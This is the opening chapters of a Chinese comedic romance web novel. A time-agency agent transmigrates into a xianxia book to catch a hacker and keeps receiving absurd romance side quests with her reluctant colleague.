《穿错书?不,那是恋爱事故》
1. 雪化的蓝墨色
《穿错书?不,那是恋爱事故》
文/但唱月明
晋江文学城首发
群星纪399年,12月25日,圣诞。
当黎明从冬青花间慢慢透进铃冬山谷时,鹿蜀皇族最不受宠的小公主正坐在冷宫床榻上,遥听着来自时空另一端的声音。
“你好,我是时空管理局通讯研究员,相信你已经知道了昨夜的噩耗:时管局遭遇了一次突如其来的程序袭击,中央资料库被入侵,绝密信息泄露。
“罪犯在作案后潜逃进书中世界,感谢你为了追捕罪犯主动请缨担任女主一职。
“为此,你得……和人相亲。”
自打穿书后,时予欢虽已为自己面临处境设想了多种可能,上至柔弱小白花女主的成长逆袭记,下有恶毒女配打脸重生,可却唯独没有想到,自己竟会面临……
催婚。
她面色僵了一僵,不由得感慨自己果然是赶鸭子上架,见识浅了啊。
“请不要误会,时管局行动守则绝对无意干涉您的私生活,请求您刚穿书就去相亲是因为……好吧我承认!是我们的错!”
联络员的语气从最初的平稳镇定,变得越来越破防。
“我们把男主搞丢了!苍天呐苍天呐!
“您知道的,昨晚出了那样大的事!一切都乱套了!局长大人气得胡子都飞上了天,那个神秘罪犯几乎篡改了所有核心程序,以致我们与书中世界完全失联!
“我们用了一晚上才好不容易联系上您,至于男主?那更音讯杳无了!我们甚至连他的名字都不知道!
“但是据观测,男主和神秘罪犯都会在即将到来的相亲剧情节点登场。”
联络员破防着破防着,语气又变得铿锵有力起来,仿佛未来充满了希望。
“拜托了,请找到您的同事!和他一起抓住藏在书中的神秘罪犯!
“我们会为你提供除了帮助以外的一切支持。”——时空管理局(TSA)研究员·简
通讯“啪”的断了。
时予欢呆愣许久,揉了揉头发,开始发愁自己的未来人生究竟该怎么办。
作为在时空管理局任职的探员,她并不似其他探员那样幸运,其他人穿书还可以挑挑选选——书的剧情不爽?不要;男主不够帅不够多?也不要。
时予欢她,是个面临着解雇危机的倒霉探员。
她这个倒霉与旁人不同,可谓是霉得很有水平,很有风采,且有三点证据足以佐证。
一是为了保住工作,当罪犯潜逃进了这个书中世界,在所有资深探员面面相觑,不敢接这烫手山芋时,她拍了拍衣摆,潇洒地站在所有人面前:“我来。”
就这样,她接下了大概是时管局史上最艰难的一桩差事。
二是拿到的女主身份,正是鹿蜀一族皇室成员中,最不受宠爱的小公主。小公主爹不疼娘不爱,连姻缘也作为拉拢连山王都的工具,相亲宴都安排好了。
至于第三点么……正如研究员简小姐所说,在正式开始追凶破案前,她还得先找到男主在哪儿!
时予欢一边吃早饭一边思索,直到侍女催了三五次,才慢吞吞换上公主服制,走出寝殿想往相亲宴上去。
红衣绿裙轻纱如流光,仙帛如彩虹垂下,时予欢很不习惯穿的这样华丽,没走几步呢,就自个儿绊了自个儿好几下,谢天谢地这段路没别人,不怕笑话。
可见当公主也是有要求的,就像灰姑娘哪怕穿上漂亮礼服了,也会配一辆南瓜马车和四个随从呢。
她心里正感慨,眸光无意一掠,却怔住了。
只见雪覆冬青树后,轻轻晃过一片蓝色的衣角。
好像有个穿着蓝色衣服的人。
是谁?不会这么巧,刚开局就撞见神秘罪犯本人吧?
时予欢福至心灵,心道该不会老天终于不忍心,让她时来运转,非酋也能欧皇一回?
哦耶!这下连男主都不需要了,只要追上去抓住罪犯!就能美滋滋收工下班!回去升职加薪!
心里越想越美好,也就顾不得迟到的相亲宴,时予欢提起层叠迤逦的仙帛裙裾,绣鞋拐了个弯儿,循着雪影追了上去。
然后她就迷路了,迷路了小半个时辰。
事实证明,追人是一件很需要方向感很有技巧的事,也远没有电影里那么帅气。
小半个时辰后,她晕头转向的闯进了一座精致花园。
草木清香踏雪而来,满院冬青缀红果,在垂着浅粉花藤的六角凉亭中,一位身着青色云纹官服,摇着扇子的仙君正静坐观雪,衣上银线光华流转。
时予欢拿捏不准此人身份,小心翼翼地提着罗裙踏进雪地里,很知礼数地问他:“冒昧打扰,请问您有没有见到一个人?”
她的嗓音清亮悦耳,仙君懒洋洋地收了扇,一时被搅倒也不恼,反倒颇为好脾气的以手支颐,饶有兴趣的上下打量了她一眼,说道:“那你可真问对人了。”
他打了个哈欠说:“我今日携礼而来,哪知你们鹿蜀族人待客不周,竟将我晾在这里小半个时辰,于是我看着仙婢从我面前路过,管事从我面前路过……连小猫小狗都从我面前路过完了。
“不知你想找的人,又是什么模样。”
时予欢十分含蓄的深表同情,答道:“蓝色的,是蓝色的人。”
“是天上的蓝,还是地上的蓝?”仙君笑问,“我今日见过云梦海的蓝藻,见过大荒林的蓝蝶,你要寻的,是怎样的蓝?”
时予欢努力回忆着此前一瞥,描述道:“我记得,那是像被雪化开的蓝墨水的颜色。”
空谷间仙鸟群飞,白的雪,青的山,这次仙君静默良久,终说:“你问的恰巧,这样的蓝,我却知道一个。”
顿了顿,方道:“他是天上的人。”
时予欢很认真的鼓励他继续说。
仙君叹道:“浮生帝宫的帝君座下,有一人尽皆知的心腹,好吧我说难听点儿,有条走狗,此人作为仙正,是帝君的信使,是不通人性的怪物,是王都诸仙最厌恶的刽子手。”
时予欢愣了一愣,有些好奇:“他叫什么名字。”
仙君在朦胧的雪色中截住了她的话头,敛了笑:“小帝姬,别招惹他,也别打听他。”
他轻描淡写点了她的身份,斟酌着接下来要说的话:“此人满身罪孽,又自上界而来,你的乘龙快婿绝不能是这样一个心狠手辣……疯子。”
时予欢张了张嘴,她觉得仙君似乎误会了她,误以为她是那种不知轻重的风流公主,看上个人就要收作男宠,天地良心,她其实不是色鬼,也没有招惹良家妇男的爱好。
就在她思来想去时,眼角余光瞥见覆雪冬青下,再一次的,一片衣袂浮光掠影,只见一道湛蓝人影在重重花藤后的月亮门倏忽一闪,恰如惊鸿点水。
她惊呼:“你看见了吗?”
仙君不明白:“什么?”
“在那里!”她伸手指向六角凉亭外,这次她看清了,彻底看清了那个人的背影——不仅仅是雪化的蓝墨色,还有另一个显著特征。
短发。
与现代世界别无二致的短发。
时予欢的心脏猛的一跳,她记得时管局的穿书都是身穿,她自己就是身穿,在这种东方仙侠世界中,短发已是很显眼的特征了。
那人必然和她一样来自时管局,更或者,他就是入侵时管局,把局长气得胡子飞天的罪魁祸首!
想到这儿,时予欢拎着裙摆就想追,完全顾不得仙君抓狂的喊“我又要被晾在这儿了吗”,只觉得自己必须要抓住那道蓝色的影子。
哪知刚冲出凉亭两步,迎面便撞见一
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群浩浩荡荡的华服身影——一位身着锦绣华服,宝相庄严的陌生贵妇人领着浩大排场和一众寻她而来的宾客,堪堪堵住了去路。
背了人物介绍的时予欢很快醒过神:这是鹿蜀王后,前文里写自己作为落魄帝姬不受宠,就是不受这位王后宠爱。
鹿蜀王后似乎很生气她的乱跑,一把攥住她的手腕,想强行将她拉回六角凉亭:“你可知迟了和连山王都少君的会面?让他在六角亭等了你足足半个时辰。”
时予欢的手腕被攥的生疼:“抱歉,我……”
她微微睁大了眼,忽然反应过来刚才跟她搭话的青衣男子是谁了。
只见连山少君以扇半遮面的微微探身,略不好意思地开口插话:“我没关系的,倒也不用……”这么多人呢,倒也不用当众下这孩子的面子。
时予欢咬了一下唇:“抱歉,我只是……”
她的目光穿过重重人群,看见远处花藤月亮门后,那道蓝色的影子越走越远,墨蓝衣角被风一掀,落落飞扬。
他步履匆匆,似乎一点儿都不关心花团锦簇的热闹,看上去只想离开。
他也确实马上就要离开了,只要再走几步,就会消失不见。
时予欢说:“我只是需要一点思考的时间。”
话音未落,在四方响起的哗然声中,她手腕一旋,竟巧妙地从鹿蜀王后手中滑脱,提着裙摆像一阵风似的翩然跃下凉亭,不顾礼数不顾劝阻,从重重人群穿行而过,带起声声惊呼。
跑得那么快,旁人追都追不上。
花藤拂过脸颊,很快,她就跑到了那月亮门的尽头。
她喊:“喂!你等等!”
嗓音清亮,惹得那人似乎终于顿有所觉的慢慢回头,与她目光相对。
是个很英气好看的蓝衣公子。
他眉心蹙了蹙,似乎想说话。
时予欢也想说话。
可谁也没这个机会。
“砰——!”
这日岁寒飞雪,浪花儿一样的雪滑出一个轻浪,在万众惊愕声中,小公主不偏不倚的猝然前倾,以一种绝不优雅但绝对有效的“扑鸟”姿势,扑着他一起栽到在了雪地上。
雪沫纷飞,糊了两个人一脸。
蓝衣公子想撑手起身,失败,谁让他身上栽个姑娘。
时予欢其实压根没想好喊住他以后要做什么。
她心里怀疑这个人就是她要抓的神秘罪犯,又怕贸然打草惊蛇后他会对她不利,但却更不能让他在她眼皮子底下逃了。
得找一个合情合理让人信服的借口,抓住这人不放。
他可是她行走的业绩!行走的一等功!
万籁俱寂到群鸟飞而复返,终于,在众目睽睽下,这位小公主说了一句谁也没曾想到,甚至不敢想象的荒唐话。
“你肯作我的新郎官么?”
围观者倒吸一口凉气。
蓝衣公子半眯着眼,黑长的睫毛上沾着几粒雪,脸上没什么表情。
他看了看趴在自己身上的她,抬手就从她衣襟那里,取下了一枚小小的亚克力身份牌——这是时予欢穿书时别上的,上面印着她的名字与身份。
他看了一眼上面的字,记下了。
“根据《跨世界安全条例》第721章第34条,禁止利用任务身份发展办公室恋情,女主小姐。
顿了顿,又做了一个看似毫无必要的补充说明。
“以及,我是你的男主。”
……
哪怕在很久的后来,千亦久也不是很明白,不明白那日彩绦翩飞的铃冬山谷,他原只是想离开,只不过想离开,怎么就惹得女孩儿提着层层绽开的裙摆穿花而来,和他一起,栽在海浪一样的雪里。
“你肯作我的新郎官么?”
她还用银铃一样的轻快嗓音问他。
2. 意外的任务
云卷清风勾着雪色,勾着浅粉花藤在冬日里轻轻颤动。
时予欢张着嘴,再一次,呆滞了。
她脸颊慢慢变得粉里透红,细瞧一会,就慢慢变得几乎比冬青果子还要绯红了。
她心里想过无数次与新同事的第一次见面该是怎样一副场景。
她觉得,就算不是“老乡见老乡,两眼泪汪汪”的激动,也该是“特工接头对暗号式”的谨慎,最不济,也应当是礼貌客气,进退得当的。
现在好啦,她的当务之急是编个什么借口来维护一下自己岌岌可危的形象!
一言不合把人扑在雪里,这该怎么圆呢。能不能说自己眼神不太好呢?
可她又说了让他作新郎官,这该怎么化解呢。能不能说自己嘴巴也不太好呢?
我这个人花了眼,乱说话,不是故意占你便宜的,你万万不要放在心上。我真的很专业,是个专业的好同事。
时予欢心里转过九曲十八弯的念头,兴许是她呆滞了太久,走神太久,蓝衣少年闭了闭眼,喉结几不可察地滚了一下,仿佛将一句快到嘴边的叹息咽了回去。
再睁眼时,他眼底只剩一片似乎被命运搓磨的无奈。
“可以先从我身上起来吗?虽说很高兴你能信任我,但是倒也不必……”
时予欢深以为然,点点头想从他身上爬起来,可她裙摆实在太长太柔软了,雪天地滑,这一脚不慎踩着裙摆,一滑,直接一脚又栽回了他身体上。
“哎呀——”她好无辜。
“倒也不必信任的这么快……”他默了默,斟酌着,思索着自己是否说的是标准人话,“我的意思是,我们起来。不是让我们巩固原有姿势。”
时予欢觉得自己的形象是跳进黄河彻底洗不清了,甚至恨不得一榔头把他打失忆——天呐,请你忘记刚才发生的一切吧。
在灭口还是自灭之间,时予欢发现自己先要承受的,是来自鹿蜀王后的愤怒。
鹿蜀王后是位很爱护子女的母亲,她竭尽所能的培养着她膝下六个子女,衣食住行比的是外界王都规格,教书夫子请的亦是王都帝师。
听闻当年三公主也想招男宠,和她二哥一样广收后宫,王后想了想,也准了。
不过这一切爱护仅限于她的亲生子女,时予欢这位落魄帝姬什么都没有,对她这个外族人,鹿蜀王后不是很喜欢,甚至说,她觉得她是一个令人讨厌的“差事”。
是以在一片混乱中,时予欢被侍女手忙脚乱从雪地上扶起来时,这位鹿蜀王后的脸色,很不好看。
可当众人看见同样从雪地上站起身的蓝衣公子时,所有指点与闲话都再不敢吐半个字。
花园里顷刻间已然跪了一片,时予欢还没站稳呢,哗啦的一下就被侍女拖拽着又坐了回去,整个人一个大写的懵圈。
她坐在沁凉的雪上,仰起头,不偏不避地打量着他。
空谷回音般的风声吹起鹅绒雪色,雪却不沾他身,白衣、蓝衫,凛冽的公子神情疏淡,蹙着眉,乌黑短发下洇透着他沉寂的眉眼,整个人像夜色的倒影,在行云连绵的笔墨间不惹半点尘埃。
“……”
时予欢不记得这一切是怎么收场的,只记得这天,鹿蜀皇族乌泱泱跪了一地,毕恭毕敬地起誓他们鹿蜀一族绝无二心,还请九公子看在帝姬与他们毫无干系的份上,不要迁怒他们鹿蜀一族。
他晾了他们很久,没有动怒,直到雪满冬青枝头了,才将目光从跪伏的人群,落至一旁懵圈的时予欢身上,短暂停了一刹。然后,什么也没说,走了。
时予欢是后来在侍女们八卦中才知道他是谁的。
正如她相亲对象连山少君说的那样,他做了很多坏事,他是浮生帝宫检察下界的鹰犬,今日不说铃冬谷鹿蜀国了,哪怕五大王都的人来,都得避让忌惮。
世人尊称一声“九公子”,语气里却多是畏惧。
他有多么厉害时予欢没有概念,只是听说很早以前,九公子有次生气,轻飘飘一出手,就将天空都划了一线口子。
恶贯满盈,罪恶滔天的鹰犬啊。
时予欢觉得吧,这位倒霉同事抽到的倒霉身份牌比她还要倒霉。
很快,她就不这么觉得了。
相亲宴无疾而终,她被罚禁闭,跪坐在在空荡透风的思过堂抄写梵文经卷。
点点墨迹于纸间流渚,她抄啊抄,心里抄得那叫一个愤慨悲凉,舍利子色不异空空即是色之类的话一句没记住,光记得她那个不讲义气的新同事了!
能对《跨世界安全条例》熟门熟路的,那必然是时管局的人,众所周知跑进这本书的外人一共就三个,她、男主、罪犯。
故而他自称是她的男主她的同事,她其实是很相信的——毕竟罪犯肯定不知道《跨世界安全条例》这种东西。
但是!今日这位新同事一言不合就走,害得她一个人在这里孤独寂寞地罚抄这件小事,时予欢是有点儿在乎计较的。
虽说把他误认成罪犯扑倒这件事她是不对吧,可也不能全怪她呀,要不是他走那怎么快,她干嘛追他呢。
大庭广众下闹了个小小的乌龙,作为男主……好吧不说男主,作为同事,在面对同事有难时,他怎么能不悄悄偏袒她一下呢?
譬如他可不可以同那鹿蜀王后说,让她少抄一点儿经?
笔尖重重一顿,洇出一团墨,时予欢心里有点儿落寞,但她又一向很能宽慰自己,就像打游戏总不会每局都能遇见神仙队友一样,神仙同事也向来难求,兴许对方是没有反应过来该怎样临场应变,而且,他也没有那个义务处理她惹出的尴尬。
说到底,到头来是她自己不足够谨慎,将男主当作罪犯就扑了上去。
她呼啦呼啦抄书,一心想争取赶时间尽早抄完尽早解放,重新出去找男主汇合,说不定还能偷偷溜出去找点吃的。
一天只吃了个早饭,早饿了。
呼啦呼啦的大风从早吹到晚,不多时就吹灭了天色。
夜风深凉,雪还在落。
她正奋笔疾书,听到身后传来不疾不徐的脚步声,以为又是侍女来检查她的抄书情况,一时间来不及回头,只答道:“你且等一等,我还差一点点抄完。”
脚步声停了,来人似乎真如她所说的,在等她。
这次的侍女没像前几个那样催促她,也没说不中听的话奚落她,时予欢忍不住心生好感,说道:“你坐着等也可以,或者你能帮我拿一叠宣纸么,就是窗户左边案上搁着那叠。”
脚步声再次响起,不一会,那人取来了纸,在她身侧蹲下,递到她手边。
时予欢抬手去接,无意间碰到对方的手,却不是寻常侍女柔软白皙的芊芊玉手,是一双是带着薄茧的,骨节分明的手。
她心道这侍女恐怕是个练家子哦,下意识回头搭话:“谢谢,对了你叫什么……”名字。
后两个字还没说出口,就被晚风噎住了。
她的视线毫无防备地撞进了一双好看的眸子里。黑白分明的、摄人心魄的眼眸。
四目相对。
啊?啊啊?
一切都仿佛乐曲错了个音,时予欢的心跳漏了拍子,呼吸一乱,很不争气再一次……又呆滞了。
他轻偏了偏头,见她死机半天都没恢复,好整以暇探究了片刻她的呆滞,才平淡道:“晚上好。”
“……你,你好?”时予欢终于勉强恢复运转,“等等你是在跟我打招呼?”
救救救命!你什么时候来的?怎么不提前打个招呼呢?或者给我发个消息也行哦不对我们还没加好友。
他慢慢眨了一下眼,似乎在很认真地尝试跟她交流。
“你好,初次相见,很高兴能见到你。”
时予欢看着他没什么表情的脸,诚恳道:“倒
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是看不出来你很高兴。”
她好想说这个时候知道来相认了!哈!我白天追你追得到处跑时你在干嘛呢!知不知道我抄经书都抄得前胸贴后背了!
此时,两声敲门声响起。
“殿下。”门外传来鹿蜀王后贴身侍女的声音,“奴来收您抄的的经文,叨扰了。”
时予欢吓得头皮一个激灵,当机立断倾身向前,一把抓住他的手腕,不由分说就将人往书案后的屏风里藏。
以及,她的眼神里还写满了:你早不来晚不来偏偏这个时候来!我跟你讲你别出声,被发现了我真说不清的!
万幸,他很配合她。
吱呀一声门开了,侍女发现没人轻“咦”了一声,只见案上经文齐整,却也不再多想,取了经文便掩门离开。
听着脚步声远了,时予欢长舒一口气,这才转过头瞪向身旁被她攥着手腕的人,用刻意压低的嗓音高昂地控诉:“说!为什么现在才来找我?”
他无意识地回叩了一下她的手腕。
屏风隔出的狭小空间里,洒着昏昏夜色。
时予欢听见他默了一刹,然后用一种近乎丧懒的语调,慢悠悠叹气。
“我想下班了。”
“?”
「叮——恭喜触发支线任务:牵手(10秒以上)(积分奖励:100)」
时予欢听见自己终端“叮”的响了一声,本以为是幻听,紧接着,一行半透明的小字唰的一下从她视界边缘飘过去了。
「检测任务已完成,积分已到账」
?
什么东西?什么东西从她眼前里飘过去了啊!
什么任务嗖的一下飞过去?又嗖得一下飞快完成了啊?好同事你看见刚才那排字了吗你说句话啊!
好同事慢吞吞移开了对视的目光,假装无事发生。
时予欢自以为抄了一下午的经书,已然抄出了几分看淡世事的豁达,是个体贴大度的好队友。
她错了。
请问组队出差,最痛心疾首的消息是什么?
莫过于你还在加班。
而你的搭子想跑路。
“……”
与此同时,在时空的另一端。
时空管理局炸了。
哦,当然不是字面意思,倒不如说是已经乱成热气腾腾的一锅粥了。
“说实话,这本《仙侠恩仇记》到底是什么书?”
“报告局长!这是一本大气恢弘!草蛇灰线!立意出彩的正剧!”
“说实话。”
“……一本恋爱小说。”
“说实话!”
“说实话是过不了审的。”
“所以,由于罪犯入侵核心系统,引发了程序故障,世界任务出现紊乱,导致这本书现在的通关任务变成了需要男女主谈恋爱,是吗?”
“是的局长先生,没错局长先生。”
可怜的局长先生被气得胡子发抖。
“她会搞砸的!”他看着屏幕上时予欢那长期倒数,业绩挂零的积分栏,几乎要尖叫了,“我不管什么原因,现在!立刻!将女主从这本书里捞出来!”
研究员弱弱开口:“完全不考虑任务的可完成性吗?”
“什么完成性?哪儿来的完成性?靠两个完全不认识的人谈恋爱拯救世界吗?”
局长大发脾气,这大概是他这辈子最生气的一次了——比乌鸦啄了他的胡子还要令人生气。
“他们要能谈上,我局长的位置拱手让人!”
忽然,一声中央系统欢快的提示音骤然响彻整个死寂的控制台。
「叮——恋爱积分已到账:100,任务进度:1%」
所有研究人员都看见在业绩系统上,时予欢这位新人小菜鸟的挂零积分,悄悄往上爬了。
在一片漫长的,窒息的沉默中,局长先生捂住了心口。
3. 他的名字
蓝调的雪夜里,古老的钟声敲响了第十二下。
马修是近些年新任的时空管理局(TSA)局长,矮矮胖胖,黑发灰西服黑礼帽,留着一撮浓密的小胡子,旁人总评价他优柔寡断,是个绝不肯出差错的老派绅士。
面对这样的评价,马修局长本人倒是感到十分满意——永远不出什么乱子,正是他为人处事的第一准则。他也期待着整个时管局能和他一样:安静运转,就像他每日擦拭妥帖的钟表,每一秒都该走得精准而规矩。
所以在这个本该围炉烤火,享用饼干的圣诞夜,时空管理局却陷入一片警报与红光闪烁的混乱中,马修局长发现追捕罪犯的全部希望竟系于一个毫无穿书经验新人身上时,他气得胡子变了形,几乎快翘得飞天。
时予欢是个不太好被预测的女孩儿。不像钟表,每一分每一秒每一个行动都是能掐得准的。
她今年夏天刚刚从第一守望学院毕业,当然,时空管理局作为时序联邦政治机构,观测、研究着寰宇时空的变动,能在这里任职,对于一个刚毕业的年轻人来说,仿佛基因彩票一样幸运!
显然,马修局长并不相信一个刚毕业的年轻人,能承担如此危险的工作。
“终止世界运转,想办法带她出来,神秘罪犯身份不明,我得先确保探员的安全。”他难得干脆利落地下派命令。
研究员简小姐问:“男主呢?是否需要将其一并带出?”
马修局长很随意:“那个家伙啊,别管他。”
简小姐感到好奇:“他是谁?局长先生恕我直言,我没有在探员职工系统里查到男主的身份,他很奇怪,也没有获得任何行动批准。”
马修局长下意识揉了揉鼻子:“他在时管局呆了有点儿年头了,我想想……好像是二十多年前吧,最高时序委员会(CC)曾特批了一位在时空破坏与生命毁灭上极具天赋的天才,作为特派专员在时管局任职。
“我记得他一直在实验室……不过他的事不重要,你先想法子把女主给我捞出来。”
马修局长不想在男主的身份问题上多说什么,像在保守一个秘密似的,似乎在他眼里,男主就算死在书里,也无关紧要。
他更在乎那个见了鬼的!过不了审的任务!
简小姐很淡定:“捞不了人,书中世界现在几乎处于独立封闭的状态,时空权限数据被罪犯破坏的很彻底,我们想干预,基本上得重头修起。”
马修局长略感心酸:“加班吧。”
听见这话的简小姐也很心酸。
“……”
一川雪幕皑皑,书中世界,思过堂依旧景致清幽,时予欢坐在院中屋檐下的台阶上,双腿盘坐着,抱着宛如笔记本电脑的虚拟终端干活。
“我需要给咱们出勤考核打个卡,得借你身份牌用一下……你的呢?哦,在这儿。”
身旁,她的好同事正用铁夹百无聊赖地拨弄着炭火,火星噼啪,映得他的侧脸一片倦懒的暖色。
时予欢一探身,从他微敞衣襟上摘下一枚和她同款的亚克力身份牌,他撩起眼皮瞥了她一眼,没阻止。
他的身份牌上只有一个光秃秃的「1190」编号。
“你的名字是什么?”时予欢觉得应该是他穿书的急,还没来得及填,于是决定好心好心的代劳。
风声呼啸,火声噼里啪啦的,吵,少年在喧嚣中低声开口,他回答了什么,空耳盲听的时予欢只捕捉到几个模糊的音节。
“千、亦、久。”她在亚克力牌上写下了她能想到最接近的三个字,举到他面前,“是这个吗?”
千亦久的目光落在上面,一停:“谢谢。”
“我以前没在时管局见过你呢。”时予欢回忆了一下常出外勤的同事们,印象里没有叫千亦久的,况且他这么好看,要是见过,不该记不得的。
千亦久眼帘垂落,平静道:“我……在TSA研究中心长期任职,常年生活在实验室,没有来过外界。”
时予欢一愣:“你和我一样也是初次上任?等等,那你是因为什么原因穿进来的?”
千亦久想了想,斟酌道:“今夜我本该一如既往呆在实验室,直至系统报错,我意外看见这本书启动后卷进了不该进的人,于是输入了一段逆向指令试图阻断,却反被错误投送,就这样。”
时予欢忽然想起什么,疑惑道:“你今天早上在花园附近转来转去是……”
千亦久漫不经心地生着火,默了默,说道:“尝试脱离本书,失败;尝试寻找漏洞,失败;尝试寻找失败原因,失败。”
时予欢迟疑:“所以你现在……”
“在思考下一个失败方案。”盆中火光恣意跳动,烘着融融暖意,千亦久抬手掩住了一个小小的,懒懒的哈欠。
时予欢同情地看着他,他身上那种“这破班谁爱上谁上”的气场,简直在发光!
千亦久对自己的气场一无所知:“只要毁掉这个世界,就能离开了。”
喂,不要用一脸平静的表情说可怕的话啊!
“但不是很想动手,也不是很想灭世。”千亦久语气平静,“因为有你在书里。”
顿了顿,又说:“不想让你看见我杀人。”
时予欢正要感动,觉得这是一个多么良善!多么包容的年轻人啊!为了同事而停止灭世,这该是何等宽广的胸怀,只是她怎么不知道自己何德何能,居然在他心里有这么大的分量?
千亦久瞥了眼她一眼,眉梢一挑,又添了一句话瞬间掐灭她的怜爱:“主要是,被你看见我的违规行为,我还得灭你的口。”
时予欢感动的心瞬间破碎:“不不不,你不能灭口我,我得抓罪犯!那个神秘罪犯几乎毁掉了时管局整个核心……”
“不重要,不关心。”
千亦久打断了她,他似乎想说些什么,静了几秒,却只淡淡的补了一句。
“时管局毁灭了都跟我没关系。”
时予欢说:“但,但是呢,这本书不完结我们是出不去的呀。”
千亦久问:“我们能在一个章节内完结这本书吗?”
“不能!”时予欢不得不解释,“我们得按部就班走完所有剧情节点,就像玩游戏那样……”
话说到这儿,两个人都不约而同的想起了此前发生的,那嗖的一下弹出来,又嗖得一下完成了的任务。
时予欢刚刚用终端回看了那个历史任务。
那是个支线任务:牵手。
见了鬼的牵手!有见过跟同事牵手的吗!系统奇葩!有病!
时予欢有点儿抓狂。
其实在时管局的数据档案里,是没有以恋爱为导向的时空任务的,马修局长曾抱怨过,说是系统攻略这种东西听着总感觉像人贩子……什么的。
后来,局长封存了所有恋爱文。
时予欢觉得自己大概只是纯倒霉,碰到支线任务意外紊乱,这只是黑天鹅小概率事件,下个支线任务总不能还是跟男主的肢体接触了吧,她不信自己真有那么非酋。
况且只是支线,属于可做可不做的附加任务。
她对自己的定力很有信心。
想来千亦久也是和她一样。
时予欢梳理完自己的行动规划,关闭个人终端,站起身活动了一下,很快就调整情绪踌躇满志。
“走吧,让我们先离开这个漏雪的地方,去推主线。”
她朝着他伸出一只手,似乎想拉他起身。
……
……
……?
不动。
千亦久一动不动。
时予欢以为他介意那个牵手,强调道:“我保证我对你没有非分之想!这辈子都不会有!我们就是这世上最纯洁和谐简单的同事关系!”
千亦久轻轻瞥开目光:“不是那个。”
他低头望着眼前的炭火,眼帘轻轻垂落,仿佛蒙着潮湿的薄雾。
“女主小姐,请您看看时间,现在是深夜二十三点三十分,距离明日九点还有九个小时三十分钟。”
千亦久嗓音低沉,反复强调。
“我是不会在非工作时间上班的。”
“?”
“如果您坚持要我加班,我会正式向最高委员会提出抗议,争取我的休息权。”
“……”
北风吹着一场大雪,时予欢在这场白色的风中呆愣了许久。
她看了他很久,终于,慢慢在他面前蹲下来,像只森林里的迷途小鹿发现了新鲜事物似的,好奇地仰头打量着他。
“那走吧,我们去过节。”她笑吟吟的,看了眼即将零点的时间,“这样就不算加班了。”
想了想,又补充道:“我们去吃铃冬谷里最贵最阔气的酒楼怎么样?什么贵就点什么
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,反正可以报销。”
她早就饥肠辘辘了一整天了,下定决心要吃顿好的。
千亦久眼帘轻颤,同她目光相碰,两个人在一场苍白的雪中对视了许久。
半个小时后,时予欢坐在原地破防地啃烤红薯。
思过堂还是那个思过堂,佛经还是那些佛经,炭盆还是那个炭盆——她从头到尾都没有出去过。
“呜呜呜呜,也没人跟我说,我还得关禁闭啊。”
尤其是她刚刚才夸下海口,要带着新同事冲进豪华酒楼饱餐一顿,却发现自己被鹿蜀王后的禁闭法阵关在这间小小的院子不得出去的时候。
哦,甚至烤红薯都是千亦久从膳堂顺回来,用炭火给她烤的。
“呵,我不会再笑了。”时予欢在赌气。
“烤了两个红薯,还吃么?”千亦久对她的赌气无动于衷。
“吃。吃大的。”某些人心口不一。
他撩了衣服在她身边坐下,绀蓝的外衫敞开着,反而被穿出了长风衣的架势,衣角被风一掀,落落飞扬。
时予欢原本想得很好。
和新同事聚餐庆祝一顿,就当过节,也当鼓舞士气,两个人举杯一碰,她再加加油打打气,明天信心满满的为了工作冲冲冲。
“很抱歉,本来是想带你过圣诞节的。”
“没关系,我不过圣诞。”
“好吧,很抱歉我原本想请你过冬至节……”
“我也不过冬至。”
“……”
“节日的意义由人赋予,它和我无关,对我而言,这只是寻常的一天,没有什么值得庆祝的,你也不用向我道歉。”
时予欢呆呆地看着他。
千亦久望着漆黑的夜色,望了很远很远,就连声音也湮没在大雪里。
“对你,对我而言,这都是糟糕透顶的一天,也不需要庆祝。”
是糟糕的一天吗?
是的。
她业绩倒数,面临解雇危机,为保工作不得不来抓捕罪犯,却困在书中不得离去,罪犯下落不明,她的前途未卜,还作为一个不受阖族待见的落魄公主,即将面临的乱七八糟的相亲。
太糟糕了,相信人生里都不会再有比这更糟糕的一天了。
时予欢忽然噗嗤一声笑了出来,很轻,烤红薯的热气氤氲着她,让她整张脸都微微泛红。
“不对,还是有那么一件事,是需要庆祝的。”
时予欢咬了一口红薯,她忽然很想跟这位新同事干个杯,但眼下没有饮料,也没有杯子。
落魄限制了她的发挥。
天地间风吹白雪,雪落冬青清清冷冷,两个人并肩坐在屋檐下的台阶上,时予欢眨了眨眼,掌心摊开了一枚小小的亚克力姓名牌。
是她帮忙填的,写着他名字的那个透明塑料牌。
“我的那个呢?”她捏着他的小姓名牌问。
千亦久不明所以,从袖中取出一枚同样的塑料牌——她的那枚在初次相见时就被取下来了,一直在他那儿。
她问:“会碰杯吗?”
千亦久捏着小小的塑料牌,更不明白了。
只见时予欢伸手,举着自己的塑料牌凑上去,跟他的亚克力塑料牌小小的碰撞了一下。
清脆的声响,轻,比晚钟声还好听。
“既然你不过圣诞也不过冬至。
“嗯……就庆祝我们的第一天见面吧。”
天很静,静悄悄的雪色擦亮她的眸光。
“那么,相遇日快乐!”
她又笑起来了,与他冷着脸不同,她似乎总是在笑,额间碎发被雪吹得自由自在,唇角一弯,桃笑李妍。
她举着自己的姓名牌,再次,轻轻在他的姓名牌上敲了敲。
「时予欢」「千亦久」
两个小小的名字,彼此相碰了一下。
千亦久闭了闭眼,雪就栖在他眉梢上,小心翼翼的,像是在等他答她。
等了仿佛很久,也仿佛只有一瞬间。
他不确定该对此作出怎样的回应才是正确的,他讨厌工作加班,他被迫卷入这桩麻烦——这一切的一切都糟糕透了!
他甚至不想去信任她,他讨厌信任一个人。
但好吧,在和她散伙,在故事完结之前,他还是可以勉为其难的说一声……
“相遇日快乐。”
4. 还礼
这天,时予欢熬了一个通宵。
她本来不想熬的,可睡不着,陌生的世界绝不会给她安全感,她总是忍不住担心这儿担心那儿,就像以前独自在巴士站台,在高铁广场过夜时那样谨慎,以至于一点风吹草动就能惊醒,倒不如不睡了。
她打开个人终端开始写行动简报,可刚写到一半……
「叮——恭喜触发支线任务:和男主共处一室(48小时以上)(积分奖励:1000)」
?
时予欢足足懵了十秒,她没想到下个离谱任务来的这样快,更悲伤的是:这件事似乎印证了她是个实打实的非酋,见了鬼的暧昧任务居然还有续集。
她睁着眼睛仔仔细细看了这个任务好一会,确认自己没有看错也没有理解错:她、得和、千亦久、呆在一起两天以上。
做不到!做不到的!昨天才信誓旦旦保证“绝无非分之想”,今天就要被打脸么?
而且这种暧昧任务绝对违反《跨世界安全条例》吧!被总部发现了她一定会因违规挨罚的!
